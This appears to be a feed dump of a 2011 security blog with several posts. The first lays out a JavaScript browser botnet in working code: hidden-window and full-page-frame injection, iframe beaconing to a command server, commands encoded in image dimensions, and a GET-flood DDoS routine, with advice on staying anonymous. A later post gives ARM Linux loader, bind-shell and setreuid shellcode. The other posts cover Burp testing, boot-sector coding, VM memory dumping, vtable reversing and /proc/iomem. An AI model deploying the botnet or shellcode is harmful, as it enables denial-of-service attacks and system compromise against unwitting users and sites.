The Knotter http://www.theknotter.net ... after all, we're all alike Wed, 10 Aug 2011 15:11:44 +0000 en hourly 1 http://wordpress.org/?v=3.3.1 Performing DoS Attacks With JavaScript Malware http://www.theknotter.net/performing-dos-attacks-with-javascript-malware/ http://www.theknotter.net/performing-dos-attacks-with-javascript-malware/#comments Wed, 10 Aug 2011 15:05:22 +0000 digital http://www.theknotter.net/?p=373 Hi! This is a fluffy one but hopefully interesting. The idea is to implement a botnet that is completely client side and does not need an 0day to spread. To achieve this I implemented the botnet in Javascript and used well-known techniques to get the code running on the victims’ browsers. The bots communicate through an existing web site so the botnet master only needs to upload a file to trigger new actions. The most immediate application of these botnets is performing DoS attacks.

The first hurdle we find when implementing a JavaScript botnet is how to perform the injection. In other words, we need to get some JavaScript code running on the victim’s browser and keep it running for as long as possible. The first thing that comes to mind is to create a site with some really interesting content and put the malicious code on it. Whilst this works perfectly it is difficult to create a site that can keep visitors connected long enough for the botnet to have any kind of stability. This is not a technical problem so I decided to concentrate on other injection mechanisms. Here are some sample injectors I wrote as a POC:

injectors.tar.bz2

A way to get our code running is to create a frame that spans the whole browser window and presents a well-known web site. If the user does not notice that the URL does not match the contents he might click a link inside the frame and start browsing the web from there. If this happens we can execute our code on the background up until the user closes the window or manually types in a different URL. This injection works best with mobile devices that do not show the current URL while browsing. If this is the case this type of injection is virtually undetectable.

<html>
<head>
<script language="JavaScript">
function clicked() {
	window.open('hidden.html');
	window.focus();
	window.location = "http://google.com";
}
</script>
</head>
<body onclick="clicked();">
<p>Click me!</p>
</body>
</html>

Another way to run our code is to create a hidden tab or window and hope the user does not close it. If the client is using a device that only shows the current window or tab the injection is really difficult to spot.

<html>
<head>
<script language="JavaScript">
function clicked() {
	window.open('hidden.html','','height=100,width=100',false);
	window.focus();
	window.location = "http://google.com";
}
</script>
</head>
<body onclick="clicked();">
<p>Click me!</p>
</body>
</html>

I tested these with Chrome, Firefox, and Internet Explorer. Note that the latest versions of Internet Explorer prompt the user for JavaScript execution on every page they visit. This is the default and most users turn it off as it can become really annoying. However if it is turned on none of the afore mentioned techniques would work without the user manually activating the hidden windows, which would defeat the whole purpose of hiding them. Even in this case there is still hope if we can find a vulnerable web application to inject our code into. For our purposes only permanent code injection vulnerabilities are useful. We would be looking for permanent Cross-site scripting or SQL injection instances with write access to the back-end database. In both of these cases we would be able to add our code to the vulnerable web application and execute it every time a user visits the web site. This kind of attack could potentially go unnoticed for a long time.

Once we have a way to run JavaScript code on a victim’s browser we need to be able to communicate with the C&C center so that the botnet clients can receive commands and act accordingly.

comms.tar.bz2

The first step to achieve this is to make the C&C center aware of our existence. In order to send data to the botnet owner we can make use of the iframe HTML element. Iframe elements are not subject to the same-origin policy and their source URL can be controlled from JavaScript code. This allows us to send any data we want to an arbitrary server via a GET request.

<html>
<head>
<script language="JavaScript">
n = 0; 

var beacon = function() {
	var iframe = document.getElementById("the_iframe");
	var data = "http://THE_SITE/endpoint?"; 

	data = data + "action=beacon&";
	data = data + "n=" + n; 

	iframe.src = data;
	n = n + 1; 

	setTimeout("beacon();", 10000);
}
</script>
</head>
<body onclick="beacon();">
<iframe width="100%" height="50%" id="the_iframe" src="about:blank"></iframe>
</body>
</html>

The mechanism used for beaconing can also be used to post any data the zombies (botnet clients) need to make available to the botnet owner. Any website that stores data received in a GET request can be used for beaconing and status reporting purposes. The botnet owner can visit the website and check the status of the zombies while remaining anonymous as it is impossible to tell the difference between the botnet owner and all other visitors.
Once simple beaconing has been achieved we might want to have a way to identify the zombies individually. This can be achieved by using random cookies but it is not necessary for simple botnets used only for DDOS attacks so we will leave this as a topic for future posts.

To perform command and control tasks the zombies need to be able to receive the commands issued by the botnet owner. To achieve this it is necessary to bypass the same origin policy and push some data into the JavaScript execution environment in which our code is running. This can be done in several ways but I decided to concentrate on image elements. These elements wether they are used from JavaScript or HTML are allowed to bypass the same origin policy and therefore can retrieve data from domains different to the current website. In our proof of concept we encode two ASCII characters in the height and width of each image and retrieve data in chunks of two images. This procedure is not very bandwidth efficient but should be enough for a simple C&C protocol.

<html>
<head>
<script language="JavaScript">
data = new Array(); 

function pull() {
        var images = new Array();
        data = new Array(); 

        for (var n = 1; n < 3; ++n) {
                images[n] = new Image(); 

                images[n].src = "http://THE_SITE/files/img" + n + ".png";
                images[n].n = n; 

                images[n].onload = function() {
                        var index = 2 * (this.n - 1); 

                        data[index] = String.fromCharCode(this.width);
                        data[index + 1] = String.fromCharCode(this.height);
                };
        } 

        setTimeout(function() {
                alert(data);
        }, 11000);
}
</script>
</head>
<body onclick="pull();">
</body>
</html>

To issue a C&C command the owner of the botnet only has to upload a set of images to a publicly accessible website and all the zombies polling that site will eventually retrieve the message. The easiest way to achieve this is to sign up for a free blog, for example by opening a wordpress account. This process can be done anonymously so it would not compromise the anonymity of the attacker. Once this has been done we only need to upload our images with the same names we hardcoded and immediately we have a way to send data to the bots. Personally I think this method is particularly neat but I’d like to hear other opinions as well :) .

Once the botnet has been deployed it is relatively simple to launch a DDOS attack. We are in a position in which we have a bi-directional communications channel with our botnet and we know how to perform cross-domain GET requests by using an iframe element. Combining these elements I put together the following code.

<html>
<head>
<script language="JavaScript">
var attack = function() {
	var iframe = document.getElementById("the_iframe");
	iframe.onload = attack; 

	for (var n = 0; n < 1000; ++n) {
		var data = "http://THE_SITE?";
		data = data + n; 

		iframe.src = data;
	}
}
</script>
</head>
<body onclick="attack();">
<iframe width="100%" height="50%" id="the_iframe" src="about:blank"></iframe>
</body>
</html>

With this simple implementation it is easy to achieve throughputs between 30 KB/s and 50 KB/s. Each zombie is totally independent from the rest so the combined throughput scales approximately linearly with the number of infected hosts. Note that the throughput can be increased by using the xmlHTTPRequest JavaScript object or by just adjusting the length of the parameters of the GET request.

Finally, an inherent advantage of JavaScript malware over traditional malware is that it is trivial to uninstall. After the DDOS attack has been performed the zombies can just close the browser window by calling window.close() and the user will probably never notice his browser took part in the attack.

So that’s it. Now be good and don’t use this for anything evil.

Take care and happy hacking!

]]> http://www.theknotter.net/performing-dos-attacks-with-javascript-malware/feed/ 0 Testing Web Applications With Embedded Tokens http://www.theknotter.net/testing-web-applications-with-embedded-tokens/ http://www.theknotter.net/testing-web-applications-with-embedded-tokens/#comments Tue, 11 Jan 2011 00:49:25 +0000 digital http://www.theknotter.net/?p=345 Not a long time ago most web applications did not have any kind of protection against Cross-site Request Forgery attacks and life was easy for pen-testers. Using a tool like the Burp Suite a tester could locate all the forms in an application and use the automated fuzzer to look for low-hanging fruit like simple XSS instances, SQL injections and all sorts of information disclosure and problems with cookies. This situation has changed lately and nowadays many frameworks give you the possibility of embedding single-use tokens into hidden form fields and URLs. Most automated fuzzers do not have any notion of tokens and they are of little or no use in this new scenario. Using a dumb fuzzer all we get is a redirection to a default page and the potentially hazardous parameters are never retrieved.

Here I provide an extension for the Burp Suite that aims to solve or at least mitigate this problem. As always, here is the source code:

burp_extension.tar.bz2

The working of the extension is really simple. By right-clicking on a packet in any of the tools we can access a dialogue named set dynamic token file. From this dialogue we can select a plain-text file that contains the types and names of the tokens we are interested in. The test.txt file in the tarball has the following content:

POST __TestToken1
GET _TestToken2
GET __TestToken3
POST TestToken4

The format should be self-descriptive. The first word indicates the type of request the token will be used in and the second is it’s actual name. Before you ask, nothing stops us from having two entries with the same name and different types and they will work as expected. However, entries with the same type and name will do nothing but slowing down Burp and will not generate any kind of warning.

After a token file has been loaded the extension works behind the scenes parsing every response in scope and keeping track of the value of all the tokens we are interested in. If, at any time, we want to use a tool like the Repeater or the Intruder we just go about it as usual and the extension will automatically substitute the correct value for the tokens. This way we can use our fuzzer the same way we were used to and it will magically work.

I think the code is quite simple so I will not explain it here. All questions, comments, and suggestions are welcome.

Take care and Happy Hacking!

[11-01-2011] I have just updated the extension with some bugfixes and the ability to generate timestamps for fields that require it. The link in the post now points to the updated tarball.

]]> http://www.theknotter.net/testing-web-applications-with-embedded-tokens/feed/ 8 ARM Linux shellcode http://www.theknotter.net/arm-linux-shellcode/ http://www.theknotter.net/arm-linux-shellcode/#comments Fri, 22 Oct 2010 13:51:37 +0000 digital http://www.theknotter.net/?p=277 Hi all! I know it’s been some time since my last post but now I’m back with some hopefully good stuff for ARM microprocessors ;)

I like building my shell code in a modular way so that I can assemble the different blocks separately and then put them together with a couple of bash commands. The first thing I’d like to present is the very-easy-to-code infinite loop.

1:      b 1b

This doesn’t look too impressive but it can be a really useful construct. The infinite loop will allow us to stop the execution of any shellcode we want to test, thus obtaining one bit of information about its behaviour. Sometimes it is really difficult to attach a debugger to an exploited process and the infinite loop is a simple way to see what parts of the shellcode are getting executed. When the flow of execution gets to the infinite loop you will get a 100% CPU utilization, which in turn increases the temperature of the core. You might be developing an exploit for an embedded device with anti-tamper mechanisms and no console access but you can still measure the temperature of the case and see if your shellcode has hit a certain instruction.

Now let’s move on to something more serious. How do we make a Linux system call on an ARM? Going to the microprocessor manual we find that there is a specific instruction for that named SVC. This instruction takes a parameter that used to indicate the syscall but on the latest kernels a different convention is supported as well. For several different reasons on the new ABI the syscall number is put into register R7 and the parameter to SVC is fixed as 0. I prefer to use the old convention in my shellcode as it takes one instruction less (to put the syscall number into R7) and I believe it is easier to read. To see the first of this mechanism in action we can use the following C program:

int main(void)
{
        getuid();
        return 0;
}

After compiling with gcc -static we use objdump -d | less to browse through the generated assembly and search for the main function. 

0000829c main:
    829c:       e92d4800        push    {fp, lr}
    82a0:       e28db004        add     fp, sp, #4
    82a4:       eb002d3b        bl      13798 <__getuid>
    82a8:       e3a03000        mov     r3, #0
    82ac:       e1a00003        mov     r0, r3
    82b0:       e8bd8800        pop     {fp, pc}

Here we can clearly see that the getuid function has been assembled at offset 13798 and that precisely will be our next stop:

00013798 __getuid:
   13798:       ef9000c7        svc     0x009000c7
   1379c:       e1a0f00e        mov     pc, lr

The Linux syscalls on the ARM have an offset of 0×00900000 and getuid is syscall number 0xc7, thus the instruction at offset 13798. For this example I have chosen a syscall with no parameters to keep it simple. When we need to pass any parameters we do it on registers R0, R1, and so on. Now that we know how to make system calls we can move on to our first real shellcode:

arm-loader.S

This shellcode is just a loader. It is used when we don’t have much space for the exploit and the best we can do is to load a bit of code that can in turn load the real thing into memory. The shellcode is not NULL-free and no care has been taken to keep it small. However it is quite clean and it works just as it seems to which makes it perfect for an introduction. One of the interesting bits is the call to socket.

        mov %r0, $2             /* AF_INET */
        mov %r1, $1             /* SOCK_STREAM */
        mov %r2, $6             /* IPPRTOTO_TCP */
        push {%r0, %r1, %r2}

        mov %r0, $1             /* socket */
        mov %r1, %sp
        svc 0x00900066

The socket-related calls are a bit special as they all use the same entry point to the kernel i.e. svc 0×00900066. The number of the socket function to be called is passed on R0 as the first argument and the remaining arguments are passed in memory being the value on R1 a pointer to the parameter area. I leave it as an exercise for the reader to work out how the payload is transferred and how it gets laid out on memory.

Now that we have the infinite loop and the loader we can think of bringing up a shell. Here is the code:

arm-bind-listen.S

If you’ve been following the post you won’t find any big surprises in this shellcode. As with the previous one, I’ve tried to focus on clarity and simplicity and the code is quite large and not NULL-free. The working of the shellcode is pretty straight forward:

  1. Create new socket
  2. Bind the socket
  3. Listen on the socket
  4. Accept new connection
  5. Duplicate file descriptors
  6. Execute shell

Another little shellcode we might need is the good old setreuid. This one is very simple so I wont even bother creating a file for you to download:

	mov %r0, $0
	mov %r1, $0
	svc 0x009000cb

Continuing with this philosophy you can write dozens of little shellcodes like these and assemble them into raw binary files. I usually write a small bash script like this one:

for f in `ls *.S`; do
        b=`basename $f .S`

        as $b.S -o $b.elf
        objdump -d $b.elf > $b.asm
        objcopy -O binary $b.elf $b.dump
done

By default the GNU toolchain generates ELF files so we need to do a bit of magic to get the output we want. What I normally do is first assemble the shellcode into an ELF file and then copy the code into a raw file with objcopy. The call to objdump is just something I do to get the disassembled file and compare it to my original .S file. Sometimes there are very interesting differences between the two but that’s a topic for another post.

Now that we have our raw binary files we can do things like generating a shellcode that does a setreuid and the executes a bind shell. We can achieve this with the following line in bash:

$ cat arm-setreuid.dump arm-bind-listen.dump > arm-setreuid-bind.dump

As you can see I use a simple naming scheme to keep track of my shellcodes across different architectures. It just goes ARCHITECTURE-ACTION1-…-ACTIONn.dump. After many years of coding and having one of the worst memories in the industry I’ve found this little trick very useful.

Well, this has been my introduction to ARM shellcodes on Linux, I hope you found it useful. Like always I am open to any comments and suggestions to improve the content of this post or anything on the site.

Happy hacking!

]]> http://www.theknotter.net/arm-linux-shellcode/feed/ 1 8086 real mode coding http://www.theknotter.net/8086-real-mode-coding/ http://www.theknotter.net/8086-real-mode-coding/#comments Wed, 28 Jul 2010 00:27:12 +0000 digital http://www.theknotter.net/?p=232 Ok, this one is on a really old topic. As you may already know, x86-based machines have several different modes of operation. When engineers had to make the leap from 16 to 32 bits they had to figure out a way to avoid breaking old software and came up with what we call protected mode. From then on the old 16 bit mode was called real mode.

There are many places on the Internet where you can find good resources to learn how real mode works and how to switch between modes, which can be a bit tricky sometimes. Here are a couple of links to pages I found particularly useful:

- What is Real Mode?
- General description of Real Mode, Protected and V86 Mode

In this post we will go through a small boot sector I wrote that wipes all the memory above 1MB with known values. As we will see, to do this it is necessary to switch between real and protected modes several times. This will prove to be a very important part of the procedure I described in my previous post about dumping the physical ram of a virtual machine. First of all, here is the code:

boot.asm

On x86 machines there are two ways to map hardware resources i.e. memory and I/O ports. In theory a 32-bit x86 CPU could address up to 4GB of RAM but this is usually not the case. On any desktop computer you can find devices connected to several busses, like PCI, SM, I2C, etc. What all these devices have in common is that there are fixed memory and port mappings set on startup so that system software can access them. Some of these mappings can be reconfigured and some others are invariably fixed. The system BIOS is the firmware responsible for setting everything up so that the operating system does not need to bother with things that are too specific to the chipset. What we need to do at the moment is querying the BIOS about the memory ranges in use and their types. The standard method to do this is software interrupt 0×15. When we trigger this interrupt with the value 0xe820 on eax the BIOS returns what we call an E820 memory map.

mov EDX, 0x0534d4150   ; Place "SMAP" into EDX
mov EAX, 0xe820
mov [DI + 20], dword 1 ; force a valid ACPI 3.X entry
mov ECX, 24            ; ask for 24 bytes
int 0x15

The memory map can be very long so we request only one entry (24 bytes) at a time. This entry defines the start and length of a memory zone as well as its type. We are only interested in zones of type 1 (RAM memory).

When we get a new memory zone we wipe each page with a value equal to the zone’s absolute offset. To make it easier to identify the pages we wiped we put the string “SIGN” at the begining of each page. For example at offset 0×1000000 the wiped page will look like this:

'S'  'I'  'G'  'N'  0x00 0x00 0x00 0x01 0x00 0x00 0x00 0x01
0x00 0x00 0x00 0x01 0x00 0x00 0x00 0x01 0x00 0x00 0x00 0x01
0x00 0x00 0x00 0x01 0x00 0x00 0x00 0x01 0x00 0x00 0x00 0x01
...
0x00 0x00 0x00 0x01 0x00 0x00 0x00 0x01 0x00 0x00 0x00 0x01

This sounds simple but when we get hands on to writing the boot sector we face a pretty basic problem: real mode can only access 1MB of RAM memory. In real mode memory addressess are formed by combining a 16-bit segment and a 16-bit offset and the final offset is obtained by shifting the segment 2 bits to the left and adding the offset to the result. This way old x86 CPUs could access much more memory than could be addressed with a simple 16-bit offset. There is a lot of information on this on the Internet so I will not go into details here.

To wipe the full memory map we will need to call the BIOS interrupt 0×15 from real mode, then switch to protected mode, wipe the zone we just obtained and then go back to real mode to request another one. We will repeat this process until the BIOS tells us there are no memory zones left.

To switch to protected mode we need a global descriptor table (GDT). This table is pointed to by one of the special processor registers which can be loaded with the lgdt machine instruction. The GDT specifies which segments can be used, including their offsets, lengths and attributes. In this boot sector we will map the full 4GB address space linearly from address 0 and allow reads, writes and code execution. The format of the GDT and all the details about protected mode memory management can be found on Intel’s Architectures Software Developer’s Manual in chapters 3, 4 and 5. Here is the GDT we will use in our jumps into protected mode:

align 16

gdt:
dw    gdt_end-gdt-1 ; gdt limit
dd    gdt           ; gdt base = %cs<<4 + offset
dw    0             ; dummy

;CS_SEG:
dw    0xffff        ; 4Gb - (0x100000*0x1000 = 4Gb)
dw    0x0000        ; base address=0
dw    0x9a00        ; code read/exec
dw    0x00cf        ; granularity=4096, 386 (+5th nibble of limit)

;DS_SEG:
dw    0xffff        ; 4Gb - (0x100000*0x1000 = 4Gb)
dw    0x0000        ; base address=0
dw    0x9200        ; data read/write
dw    0x00cf        ; granularity=4096, 386 (+5th nibble of limit)
gdt_end:

We set up 2 overlapping segments that span from 0 to 4GB. The first segment allows for code execution (i.e. it is a code segment) and the second one allows for reading and writing data but not for executing code (i.e. it is a data segment). When we make these two segments overlap we get a memory area with no restrictions for reading, writing and executing code.

Once we are in protected mode we first need to read the starting offset and the length of the memory zone from the structure we obtained with interrupt 0×15. Then we just need to go through each page in the zone, write the string “SIGN” to the first 4 bytes and wipe it with the offset of it’s first byte. Here is how I implemented it:

wipe_zone:
cli                    ; Disable interrupts

pushad

xor EBX, EBX
mov EBX, DS
shl EBX, 4
add EBX, [e820current] ; Move zone descriptor address into EBX

mov EDI, [EBX]         ; EDI = Offset
cmp EDI, 0x100000
jl .real               ; We only do zones over 1MB

lgdt [CS:gdt]
mov EAX, CR0
or EAX, 0x00000001
mov CR0, EAX
jmp .protected         ; Switch to protected mode

.protected:
mov AX, 16
mov ES, AX             ; Use segment at offset 16

.loop:
mov EAX, EDI           ; EAX = Offset
mov ECX, [EBX + 8]     ; ECX = Length
sub EAX, [EBX + 8]
cmp EAX, [EBX]
je .end_loop

mov ECX, 4096 >> 2     ; ECX = Length in double words
sub ECX, 1             ; Substract a dword from the length
mov EAX, "SIGN"        ; Sign page
mov [EDI], EAX
mov EAX, EDI           ; Use pointer value as wipe value
add EDI, 4             ; Start one dword further

a32 rep stosd
jmp .loop

.end_loop:
mov EAX, CR0
and EAX, ~0x00000001
mov CR0, EAX
jmp .real              ; Switch to real mode

.real:
popad

sti                    ; Enable interrupts
ret

Having all these the only bit left is how we actually switch between modes. This is achieved by modifying the contents of the register CR0. The only tricky thing is that the processor does not change its addressing mode until we do a long jump, even after modifying CR0. This can be used to work in some “synthetic” modes that were mainly used by old-school DOS programmers. These modes are very interesting topic but they are out of scope in this post. The I used to to switch from real to protected mode is as follows:

lgdt [CS:gdt]
mov EAX, CR0
or EAX, 0x00000001
mov CR0, EAX
jmp .protected         ; Switch to protected mode

And the opposite is done with these lines:

mov EAX, CR0
and EAX, ~0x00000001
mov CR0, EAX
jmp .real              ; Switch to real mode

After wiping all the memory ranges reported by the BIOS the boot sector arrives at this chunk of code:

.done:
cmp byte [hflag], 0x00
jz .done

int 0x18                           ; Boot next drive

This is an infinite loop that might seems useless at first sight. It loops until the value at [hflag] becomes different to 0×00 and then it calls interrupt 0×18. Tells the BIOS that it should try to boot from the next available drive. Here is how the flag is defined in the assembly code:

org     StdBase

jmp 0x0000:Boot      ; Make sure CS is 0

dd "WIPE"            ; Signature dw 0
dd "SIGN"            ; Signature dw 1
dd "WIPE"            ; Signature dw 2
dd "SIGN"            ; Signature dw 3

hflag:
db 1                 ; Hang flag

Boot:

The hang flag together with the signature before it will be used when we boot a virtual machine with our boot sector so that we can let it continue running after wiping the whole RAM.

I think this boot sector is pretty interesting, specially if you have never coded anything in real mode before. The code is heavily commented but please do not hesitate to ask if you have any questions. Some of the things I have done in the boot sector might seem arbitrary and some others can be optimized a lot. The only requirement for this one is that it fits in 512 bytes, which was a relatively easy task to achieve. Apart from that I only tried to make the code as easy to understand as possible. I believe the arbitrary parts will make more sense when I publish my next post on how to interface this boot sector with a userspace program outside the virtual machine we are booting.

Happy hacking!

]]> http://www.theknotter.net/8086-real-mode-coding/feed/ 3 How to generically dump the physical RAM of a VM http://www.theknotter.net/how-to-generically-dump-the-physical-ram-of-a-vm/ http://www.theknotter.net/how-to-generically-dump-the-physical-ram-of-a-vm/#comments Mon, 21 Jun 2010 23:31:40 +0000 digital http://www.theknotter.net/?p=169 Recently I have been experiencing some problems with VMWare. It looks like they are not maintaining the free version as well as they are ought to and bugs start to arise. With some of my VMs the mouse pointer was completely unresponsive so I decided to switch to VirtualBox. After installing the software and porting my VMs I gave VirtualBox a try and it worked like a charm. It was only when I started my first bug-hunting project after the change that I noticed there was no support for physical memory dumps.

Time ago I started using qemu for development. It had support for a gcc stub out of the box which allowed me to debug real and protected mode code as well as to dump the physical memory of a VM after a hard kernel crash. At some point a friend of mine told me that VMWare could do exactly the same and it was way faster so I tried it. Now I’m playing with VirtualBox. It has an integrated debugger that works pretty well but there is no “dump memory” command.

When I faced this problem I started thinking of a way to dump the memory of a VM independently of it being VMWare, qemu, VirtualBox or any other. One thing that all the Virtual Machine Monitors (VMMs) I know have in common is that they all allocate large amounts of memory to emulate the guest’s physical RAM. This makes sense because this is the only way to keep a low memory access overhead. If we knew the exact mapping between the allocated memory and the VM’s physical address space then we could just attach a debugger to the VM process and dump the relevant pages. To achieve this I used a really simple procedure:

1. Create an x86 boot sector that marks all memory pages above 1MB
2. Boot the VM from the newly created boot sector
3. Attach to the VM process and stop it
4. Identify all the pages and fill in a mapping structure
5. Let the VM continue booting from the next drive available

After the last step we can stop the VM at any time we want and dump the memory region of our choice. I have written a little tool that does just this. Here you have a video showing how it works:

vbug_final.avi

I decided to only present the video in this post, as the coding of the tool turned out to be a bit more complicated that I thought at first. I will split the walk-through into several posts about real mode coding, memory scanning and parent-child interactions when ptracing a process.

Enjoy the video and happy hacking!

]]> http://www.theknotter.net/how-to-generically-dump-the-physical-ram-of-a-vm/feed/ 0 Reversing C and C++ virtual calls http://www.theknotter.net/reversing-c-and-c-virtual-calls/ http://www.theknotter.net/reversing-c-and-c-virtual-calls/#comments Mon, 17 May 2010 12:51:03 +0000 digital http://www.theknotter.net/?p=130 If you’ve ever had a look at an application from the point of view of a reverse engineer you know that there are many tools out there capable of doing a pretty good static analysis. Things get a bit trickier when we move on to dynamic analysis though. When you first give your binary file to IDA it will locate the entry point and try to analyse the whole binary using a flooding-like algorithm. What IDA can’t do is guessing the possible values of the registers in each step of the process. This can cause all sorts of trouble when we come across some self-modifying code or any other binary obfuscation mechanism. In this post I’ll go through one of these problems, possibly the most common and one of the easiest to overcome; virtual functions.

A virtual is a dynamically bound function for which we usually don’t have an exported symbol. This means that the position of the function code is not known at compile time, but calculated when the program is running. For this reason, static disassemblers cannot easily resolve the call into a symbolic name, thus making reversing harder. On the other hand, this allows for many cool tricks that object-oriented guys like calling inheritance, polymorphism and other fancy names that we are not interested in. In the end it all comes down to a table of pointers (vtable from now on) that gets filled in at some point. When the program needs to call one of the virtual functions it just goes to the corresponding offset, grabs the pointer and makes the call. This is how it looks like in x86 assembly.

mov eax, [edi]          ; move the address of the vtable into eax
push edi                ; push "this" pointer
call dword ptr [eax+4]  ; call function at offset 4

Most C++ compilers, including Microsoft’s and GNU’s, put a pointer to the vtable at offset 0 in the storage space assigned to the object. Now the first line of the assembly code makes sense; the code snippet just grabs the address of the vtable in the first line and makes the actual call in the third one. The second line is just a push of the address of the object itself. In C++ the (hidden) first argument to every function is a pointer to the object that owns the function. The standard name for the pointer is “this”.

This looks like a nice trick so why not implement it in C as well? Well, it looks like Microsoft already thought of that as playing with these things I found the C interface definitions intertwined with the ones for C++.

EXTERN_C const IID IID_IOplockStorage;

#if defined(__cplusplus) && !defined(CINTERFACE)

    MIDL_INTERFACE("8d19c834-8879-11d1-83e9-00c04fc2c6d4")
    IOplockStorage : public IUnknown
    {
    public:
        virtual HRESULT STDMETHODCALLTYPE CreateStorageEx(
            /* [in] */ LPCWSTR pwcsName,
            /* [in] */ DWORD grfMode,
            /* [in] */ DWORD stgfmt,
            /* [in] */ DWORD grfAttrs,
            /* [in] */ REFIID riid,
            /* [iid_is][out] */ void **ppstgOpen) = 0;

        virtual HRESULT STDMETHODCALLTYPE OpenStorageEx(
            /* [in] */ LPCWSTR pwcsName,
            /* [in] */ DWORD grfMode,
            /* [in] */ DWORD stgfmt,
            /* [in] */ DWORD grfAttrs,
            /* [in] */ REFIID riid,
            /* [iid_is][out] */ void **ppstgOpen) = 0;

    };

#else   /* C style interface */

    typedef struct IOplockStorageVtbl
    {
        BEGIN_INTERFACE

        HRESULT ( STDMETHODCALLTYPE *QueryInterface )(
            IOplockStorage * This,
            /* [in] */ REFIID riid,
            /* [iid_is][out] */ void **ppvObject);

        ULONG ( STDMETHODCALLTYPE *AddRef )(
            IOplockStorage * This);

        ULONG ( STDMETHODCALLTYPE *Release )(
            IOplockStorage * This);

        HRESULT ( STDMETHODCALLTYPE *CreateStorageEx )(
            IOplockStorage * This,
            /* [in] */ LPCWSTR pwcsName,
            /* [in] */ DWORD grfMode,
            /* [in] */ DWORD stgfmt,
            /* [in] */ DWORD grfAttrs,
            /* [in] */ REFIID riid,
            /* [iid_is][out] */ void **ppstgOpen);

        HRESULT ( STDMETHODCALLTYPE *OpenStorageEx )(
            IOplockStorage * This,
            /* [in] */ LPCWSTR pwcsName,
            /* [in] */ DWORD grfMode,
            /* [in] */ DWORD stgfmt,
            /* [in] */ DWORD grfAttrs,
            /* [in] */ REFIID riid,
            /* [iid_is][out] */ void **ppstgOpen);

        END_INTERFACE
    } IOplockStorageVtbl;

    interface IOplockStorage
    {
        CONST_VTBL struct IOplockStorageVtbl *lpVtbl;
    };

    /* ... */

#endif  /* C style interface */

You can see in the code that there is an equivalent C interface with three extra calls, i.e. QueryInterface, AddRef and Release. These calls are used for introspection and reference counting but we won’t bother with them in this post. At the end of the snippet we can see the definition for IOplockStorage, which is the C structure equivalent to the C++ object instance. Knowing this we could use exactly the same code to make a call to the C and the C++ interfaces, but for the fact that the offsets are different. Anyway, most times we can figure out which interface a program is using by just looking at the series of push instructions that precede the function call.

push eax
push ebx
push ecx
push eax
push edx
push eax
mov eax, [edi]          ; move the address of the vtable into eax
push edi                ; push "this" pointer
call dword ptr [eax+4]  ; call function at offset 4

In this block of code we see 6 pushes before the call. From this we infer that the function has 6 parameters plus the “this” pointer that gets pushed with push edi. Say that we know edi points to an IOplockStorage interface. We just go through the interface specifications and find that the function at offset 4 in the C interface is AddRef, which takes only the “this” pointer as a parameter. On the other hand we have the C++ interface which has OpenStorageEx at position 4. OpenStorageEx takes 6 parameters plus the “this” pointer, which is exactly what we see in the disassembly.

To sum up, when you find a chunk of assembly code that uses indirect references to call functions you are possibly facing a vtable dereference. At that moment you should try and find out where the base pointer comes from. This is usually a call to a statically bound function that IDA knows how to solve. When you know the type of the base pointer (look it up in the header file) you should grab the interface definition (usually a .h file) and figure out if the call is C or C++. After you’ve done all this the analysis turns into a static assembly code review with nicely solved function calls.

Happy hacking!

]]> http://www.theknotter.net/reversing-c-and-c-virtual-calls/feed/ 0 System memory dumps on Linux http://www.theknotter.net/system-memory-dumps-on-linux/ http://www.theknotter.net/system-memory-dumps-on-linux/#comments Tue, 11 May 2010 10:03:40 +0000 digital http://www.theknotter.net/?p=34 Information leaks are pretty common in today’s software. For some reason people get really scared when they are told they have a buffer overflow -even if it’s not exploitable- but they don’t care at all where the data goes when their program dies.

Well, if you know a bit about OS development you know that memory doesn’t just disappear when a program finishes its execution. RAM is an expensive and scarce resource and, as such, it gets reused much more aggressively than other resources.

In theory it should be fairly easy to dump the memory from a Linux box by just grabbing the contents of /dev/mem. The practical problem is that /dev/mem gives you access to much more than the system RAM. The main use for /dev/mem is mapping PCI resources to be used by the X server so if you just go and dd it to a file you’ll probably end up with a hung box. Randomly reading hardware registers has never been a good idea.

So what can we do? Luckily on Linux we have a file named /proc/iomem which contains the system’s memory map. At this precise moment mine looks like this:

00000000-0009fbff : System RAM
0009fc00-0009ffff : reserved
000ef000-000fffff : reserved
00100000-b8f43fff : System RAM
  01000000-0139b823 : Kernel code
  0139b824-01514597 : Kernel data
  0157e000-015ef4ab : Kernel bss
b8f44000-b8f45fff : reserved
b8f46000-b9d6ffff : System RAM
b9d70000-b9d7ffff : ACPI Non-volatile Storage
b9d80000-bc4c0fff : System RAM
bc4c1000-bc6c0fff : ACPI Non-volatile Storage
bc6c1000-bde91fff : System RAM
bde92000-bde99fff : reserved
bde9a000-bdebefff : System RAM
bdebf000-bdecefff : reserved
bdecf000-bdfcefff : ACPI Non-volatile Storage
bdfcf000-bdffefff : ACPI Tables
bdfff000-bdffffff : System RAM
be000000-bfffffff : reserved
c0000000-cfffffff : PCI Bus 0000:01
  c0000000-cfffffff : 0000:01:00.0
    c0000000-c0ffffff : vesafb
d0000000-d00fffff : PCI Bus 0000:86
  d0000000-d0000fff : 0000:86:09.3
  d0001000-d00017ff : 0000:86:09.0
    d0001000-d00017ff : firewire_ohci
  d0001800-d00018ff : 0000:86:09.2
  d0001900-d00019ff : 0000:86:09.1
    d0001900-d00019ff : mmc0
d0100000-d40fffff : PCI Bus 0000:45
d4100000-d80fffff : PCI Bus 0000:04
d8100000-d81fffff : PCI Bus 0000:03
  d8100000-d8101fff : 0000:03:00.0
    d8100000-d8101fff : iwlagn
d8200000-d82fffff : PCI Bus 0000:02
d8300000-d83fffff : PCI Bus 0000:01
  d8300000-d830ffff : 0000:01:00.0
  d8320000-d833ffff : 0000:01:00.0
d8400000-d841ffff : 0000:00:19.0
  d8400000-d841ffff : e1000e
d8420000-d8423fff : 0000:00:1b.0
  d8420000-d8423fff : ICH HD audio
d8424000-d8424fff : 0000:00:19.0
  d8424000-d8424fff : e1000e
d8425000-d8425fff : 0000:00:03.3
d8426000-d84267ff : 0000:00:1f.2
  d8426000-d84267ff : ahci
d8426800-d8426bff : 0000:00:1d.7
  d8426800-d8426bff : ehci_hcd
d8426c00-d8426fff : 0000:00:1a.7
  d8426c00-d8426fff : ehci_hcd
d8427000-d842700f : 0000:00:03.0
d8500000-d86fffff : PCI Bus 0000:02
d8700000-d88fffff : PCI Bus 0000:03
d8900000-d8afffff : PCI Bus 0000:04
d8b00000-d8cfffff : PCI Bus 0000:45
dc000000-dfffffff : PCI Bus 0000:86
  dc000000-dfffffff : PCI CardBus 0000:87
